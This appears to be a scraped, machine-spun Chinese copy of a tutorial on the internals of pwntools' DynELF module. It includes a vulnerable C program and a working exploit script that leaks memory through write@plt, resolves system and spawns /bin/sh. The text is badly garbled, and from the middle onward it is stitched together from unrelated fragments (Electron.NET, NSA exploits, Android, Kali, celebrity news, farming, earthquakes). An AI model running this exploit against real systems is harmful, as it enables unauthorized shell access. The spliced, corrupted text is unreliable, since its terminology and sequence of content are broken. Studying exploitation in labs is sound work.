*本文作者:xmwanth,本文属 FreeBuf 原创奖赏方案,未经许可制止转载。
DynELF是pwntools中专门用来应对没有libc状况的缝隙运用模块,在供给一个政策程序恣意地址内存走漏函数的状况下,能够解析恣意加载库的恣意符号地址。本文将对其技术原理进行介绍,其间触及ELF文件中的hash表、动态符号表、字符串表、Dynamic段,以及link_map结构等内容。
一、DynELF运用示例政策程序源代码:
#include <stdio.h>#include <stdlib.h>#include <unistd.h>void vulfun(){ char b该插座的操控示意图如下:
uf[128]; read(STDIN_FILENO, buf, 256);}int main(int argc, char** argv){ vulfun(); write(STDOUT_FILENO, "Hello,Worldn", 13);}
poc:
#!/usr/bin/env pythonfrom pwn import *elf = ELF('vul_elf')plt_write = elf.symbols['write']plt_read = elf.symbols['read']vulfun_addr = 0x08048404def leak(address):payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(address) + p32(4)p.send(payload1)data = p.recv(4)return datap = process('./vul_elf')d=DynELF(leak, ptr)system_addr = d.lookup('system', 'libc')bss_addr = 0x0804a018pppr = 0x080484bdpayload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)p.send(payload2)p.send("/bin/sh")p.interactive()
二、DynELF原理在示例中,运用DynELF的代码是:
d=DynELF(leak, ptr)
system_addr = d.lookup('system', 'libc')
能够看到,DynELF作用是寻觅system函数在内存中的加载地址,下面临该进程进行介绍:
1、获取vul_elf内存加载基地址已知vul_elf加载内存范围内的一个地址ptr,将该地址进行页对齐
page_size = 0x1000
page_mask = ~(page_size - 1)
ptr &= page_mask
然后比照内存页开始字符串是否为’x7fELF’,假如不是,一向向低地址内存页(ptr -= page_size)进行查找,找到契合该条件的页面,该页面开始地址便是vul_elf文件内存加载基地址。
寻觅vul_elf内存加载基地址的示意图如下:
2、获取libc.so内存加载基地址vul_elf是动态链接的可执行文件,在该类型文件中有一个link_map双向链表,其间包括了每个动态加载的库的途径和加载基址等信息,其数据结构为:
能够通过两种途径获取link_map链表:一是在所有ELF文件中,通过Dynamic段DT_DEBUG区域得到。二是在non-侵犯分析器运用Electron.NET,这是一个带有嵌入式ASP.NET中心运用程序的“一般”Electron运用程序包装器。我对这两种结构的内部作业原理都不是很熟悉,但看起来,其工作的是本地Kestrel Web服务器,然后通过Electron翻开一个ASP.NET Web运用程序。RELRO ELF文件中,link_map地址存在于.got.plt区节中,该区节的加载地址能够从DYNAMIC段DT_PLTGOT区域得到。
这两种途径都需求知道vul_elf的DYNAMIC段地址:我们在之一步中获取了vul_el内存加载基地址,由此能够得到vul_elf段表,通过解析vul_elf段表能够得到DYNAMIC基地址。
通过第二种办法获取link_map结构的示意图如下:
3、获取libc.so的hash表、动态符号表、字符串表基地址在所有需求导出函数给其他文件运用的ELF文件(例如: “libc.so”)中,用动态符号表、字符串表、hash表等一系列表用于指示导出符号(例如:”system”)的称谓、地址、hash值等信息。通过libc.so的Dynamic段DT_GNU_HASH、DT_SYMTAB、DT_STRTAB能够获取hash表、动态符号表、字符串表在内存中的基地址。
4、通过hash表获取system函数地址hash表是用于查找符号的散列表,通过libc.so的hash表能够找到system函数内存加载地址,在ELF文件中有SYSV、GNU两种类型的hash表,其间通过GNU HASH查找system函数地址示意图如下。其寻觅进程触及许多细节,在此不多叙说,后边会写文章对通过hash表找到符号地址作专门解说。
图中: nbuckets是hash buckets的数值,symndx是hash表映射符号表的开始索引,Bloom Filter用作过滤不在符号表中的符号称谓,在DynELF中并没有运用:
hash=gnu_hash(“system”),gnu_hash是GNU HASH算法函数
ndx=hash%nbuckets,ndx是符号表中所有 符号HASH%nubuckets 持平的开始索引
终究:内存走漏函数在进程中用作读取程序内存数据,像上面比如中获取link_map、DYNAMIC段、vul_elf段表等内容都是通过内存走漏函数。
C言语代码:Pwntools之DynELF原理探求
printf("ICorRuntimeHost::Start()n");我们在研讨Slack文档时,发现如同不或许在频道中发送一个超链接:包括以下信息:Pwntools之DynELF原理探究
C语言代码· CreateTime(Created) 终究,翻开 Tools -> Board,然后选择 Digispark (Default — 16.5mhz)并将其设置为默认值。
cd /home/raj/script/ UpperFlagBits = ((DWORD)Flags & 0xFFFFFFFE); 中止进程C语言代码
4、泛洪侵犯 Reserved block group size: 7
影子经纪人(Shadow Brokers)最近曝光的NSA方程式Windows侵犯程序中有一个针对Mdaemon邮件服务器缝隙的远程侵犯程序——Easybee,本文将对Easybee缝隙侵犯进行复现,并分析缝隙侵犯原理。数据包, 数据流
ContextWrapper结束这个推延化处理的办法便是attachBaseContext()。能够这样说,Application政策在刚刚结构结束时是“残废”的,访问全部Context的办法都会抛出NullPointerException。只需attachBaseContext()实行完后,它的功用才无缺。在ContentProvider:onCreate()中,我们知道Application:onCreate()还没有工作,但现已能够运用getContext().getApplicationContext()函数获取Application政策,并访问其Context办法。显着,Android的API规划者不能允许此时获取的Application是“残废”的。结论是Application:attachBaseContext()有必要要发生在ContentProvider:onCreate()之前,否则API将出现BUG;不论Android的系统版别怎样改动,这一点也不能改动。“无法处理的”另一个说法是“还没有处理”**********
今天让我们来介绍十个黑客专用的操作系统,它们被白帽黑客用作渗透检验的东西。这儿我把 Kali Linux 列为首位,是因为它在渗透检验中非常盛行,它的开发团队 Offensive security 一同也是开发 BackTrack 的团队。我们没有列出 BackTrack ,是因为在它的官方站点上现已无法下载了,它现已被 Kali Linux 所代替了。Pwntools之DynELF原理探究
C语言代码分析方式 运用这种方式你能够查看没有通过任何毒化的N *** -NS, BROWSER, LLMNR, DNS央求的实在形状.一同能够被逼的映射内网的拓扑,一同能够查看是否能够进行icmp重定向侵犯.Kibana便是我们的侵犯溯源途径,翻开Kibana的Web页面 http://localhost:5601linux(kali)下源码包的运用:本文的分析政策是来自eQ-3公司的 MAX! Cube LAN Gateway (以下称为“Cube”)。实际上,许多产品都绑缚了该设备,比如我的加热操控系统中就带有该设备。通过该设备称谓中的“Cube”不难猜出,它只是一个LAN网关,通过RF技术结束实在的“物联网设备”或“智能设备”之间的通讯。在本文中,我们将关键介绍以太网通讯,因为它是处理软件的首要通讯办法。
为了便于网上生意,绝大多数手机用户都已用上了支付宝或微信钱包。但是,在享受便利支付的便利一同,我们相同需求警惕或许存在的挟制移动资金安全的各种风险。
if [ -f $(brew --prefix)/share/bash-completion/bash_completion ]; then这一应战运用了UPX用来加壳,但是加成了阻遏upx-d工作的方式。它还运用了一些反调试技术来抑止调试东西的运用。具体的符号还不是很清楚,所以需求分析反面的数学函数并解码符号。C语言代码从银行卡这个思路我们去分析安全会更简略了解,前期传统的银行卡是磁条卡,磁条卡并没有太多的安全认证,导致读取到磁条中的数据就能够拷贝成一张新的银行卡,所以我们常常能够看见盗刷拷贝银行卡的新闻,不法分子一般都是通过不合法磁条卡读写设备拷贝银行卡。
静下心来,仔细想了下,本地向外发包,那本地必定会有程序来发!这可咋找啊?Pwntools之DynELF原理探究 printf("Cannot find DLL");# canonical.pickle需求时设备NVIDIA驱动int _tmain(int argc, _TCHAR* argv[])
本文标题:C言语代码:Pwntools之DynELF原理探求
(来源/明星界)由王伟导演,李易峰、金晨、王泷正等领衔主演的电视剧《隐秘而伟大》终于官宣定档啦!这部“千呼万唤始出来”的电视剧自筹备之初便备受关注,这次在播出前4天突然官宣定档着实给观众带来不小的惊喜...
从古到今在我国就会有饮食礼仪和健康养生来庆贺立春节气的来临,不一样地域的春分传统食物会有一定的区别,南北方地区食材也是有不一样,春分之后气温慢慢转暖,那麼立春吃什么传统食物?下边产生详细介绍。...
在炸鸡的市场中,全州铁锅炸鸡加盟视野更很有代价和优势的项目,在市场中也是处处可以见到品牌的加盟店肆,所以长短常火爆的。对付没有履历和基本的人来说,选择全州铁锅炸鸡加盟创业也不是一件很可贵工作,总部是可...
蔬菜是我们日常生活中常见的一种农作物,比如茄子、丝瓜、西红柿、辣椒等等。秋季天气渐凉,9-12月种植什么蔬菜才能适应天气,为菜农们增加收入呢?小蔬为大家整理这几个月可种的蔬菜品类,赶紧看看吧,有想法的...
放单是什么意思 1、把宝贝放在一些互刷信誉的网站上,让别人帮刷信誉的意思。淘宝放单主持的弊处:淘宝放单主持每一单的佣金要少很多,因为是在佣金中抽取的一部分,如果想要挣的多的话,淘宝放单的数量要特别的多...
据国家地震台网官方微博消息,中国地震台网正式测定:1月1日11时01分在四川自贡市富顺县(北纬29.02度,东经105.01度)发生4.3级地震,震源深度21千米。 国家地震台网官方微博表示,据当地...